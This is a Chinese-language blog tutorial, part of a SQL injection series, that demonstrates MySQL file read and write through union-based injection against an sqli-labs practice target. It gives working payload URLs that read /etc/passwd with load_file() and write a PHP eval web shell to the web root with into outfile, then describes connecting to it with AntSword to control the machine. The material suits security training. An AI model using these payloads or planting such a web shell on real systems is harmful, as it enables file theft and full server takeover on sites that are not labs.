4 读写文件_WEB安全之SQL注入(4)——读写文件

大家好,我是阿里斯,一名IT行业小白。今天为大家分享的内容是利用注入进行文件的读写,这里主要是两个函数,load_file() 和into outfile 希望能帮助小白,也能帮助已经遗忘的你。

load_file()和into outfile使用前提

  • 有读/写权限

  • 有绝对路径

  • secure_file_priv 的值不为null

  • 注入时需要能够使用select语句

  • 引号能否使用

数据库测试

使用load_file读取D盘的3.txt文件

0cda08336867269ee1f4a607c3aaf91a.png

使用into outfile 写入文件4.txt到D盘

3dbab59f7f31634ac725ecc0e1d911c9.png

那么为什么我能使用这俩个函数呢?因为我在配置文件中设置了secure_file_priv ,如果你想在本地测试,加入该选项后注意重启mysql服务

ff4a66eddb7eff7d430941aa05c9e49e.png

线上靶机测试

load_file()

测试注入点 | 经过测试存在字符型注入

http://www.anantest.com:8080/sqlilabs/Less-1/?id=1' and 1=1--+

判断查询字段数

http://www.anantest.com:8080/sqlilabs/Less-1/?id=1' order by 3 --+

09a8cb73c1a8113fa5f802ed87342a16.png

判断显示位

http://www.anantest.com:8080/sqlilabs/Less-1/?id=-1' union select 1,2,3 --+

dd2a127df5ef4c1b784ec2ea00a808e4.png

进行文件读取 

因为系统时centos,所以可以试试/etc/passwd文件,成功读取到配置文件

http://www.anantest.com:8080/sqlilabs/Less-1/?id=-1' union select 1,load_file('/etc/passwd'),3 --+

2e0d6692abdb804fb77cc1c102fe3e8a.png

into ouftile写内容

直接利用上面测试的结果使用into outfile进行测试

第一次写入时,页面会回显错误,其实已经写入成功,可以使用菜刀或者蚁剑连接一下试试

http://www.anantest.com:8080/sqlilabs/Less-1/?id=-1' union select 1,('<?php  @eval($_REQUEST["hack"])?>'),3  into outfile "/var/www/html/ma.php"--+

蚁剑连接刚刚写入的一句话木马

f7805c6cd9d2b3001f106cf1a096cd9d.png

成功控制测试机

0f8e249455dd6597f620f6a481efb21a.png

e805c87537ea39f778e1930a80282953.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值